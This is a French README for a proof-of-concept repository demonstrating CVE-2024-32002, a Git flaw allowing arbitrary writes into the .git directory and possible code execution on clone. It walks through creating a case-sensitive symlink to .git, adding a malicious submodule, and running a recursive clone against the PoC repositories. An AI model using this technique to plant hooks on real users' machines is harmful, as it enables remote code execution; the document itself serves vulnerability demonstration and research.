CVE-2024-32002 PRC AW
Un POC pour CVE-2024-32002 démontrant une écriture arbitraire dans le répertoire .git.
Voir cve-2024-32002-submodule-aw pour le dépôt de sous-module associé.
Ce que contient ce dépôt
- Un lien symbolique avec un nom arbitraire qui pointe vers le répertoire
.git.
- Un fichier
.gitmodules qui définit le sous-module malveillant.
Ce dépôt a été créé sous Linux (WSL2, pour être précis). C'est important : le dépôt malveillant ne peut être créé que sur un système de fichiers sensible à la casse.
- Créez un lien symbolique en utilisant uniquement des caractères minuscules
Remarques :
- Le lien symbolique doit pointer vers le dossier .git, car c'est là que nous voulons écrire des fichiers
- Le nom du lien symbolique (submodule) est arbitraire, mais doit commencer par une minuscule
- C'est important, car les caractères minuscules sont triés avant les caractères majuscules. Lorsque la machine qui clone ne sait plus où écrire les fichiers du sous-module, nous voulons qu'elle choisisse le lien symbolique et non un répertoire normal.
- Ajoutez le sous-module malveillant, en notant la différence de casse dans le nom du répertoire du sous-module
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
Remarques :
- Le nom du sous-module est important, il entrera en jeu lors du placement de notre hook dans le sous-module.
- Le premier segment du chemin du sous-module ("Submodule") doit correspondre au nom du lien symbolique ci-dessus, en ne différant que par la casse.
- Il doit y avoir au moins un autre segment dans le chemin, car git ne clone les sous-modules que dans un répertoire vide. Il créera néanmoins les répertoires pour nous, c'est pourquoi nous avons choisi "notexists" pour le démontrer.
- Vérifiez si vous disposez d'une version vulnérable de git. Consultez l'avis GitHub pour connaître les versions concernées.
- Réfléchissez à la question de savoir si vous voulez sciemment exécuter une commande qui pourrait aboutir à une RCE... Ce dépôt est bénin, mais en êtes-vous sûr ?
- Exécutez la commande suivante :
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- Jetez un œil dans le répertoire .git. Voyez-vous quelque chose d'anormal ? Indice : quels fichiers se trouvent dans le sous-module ?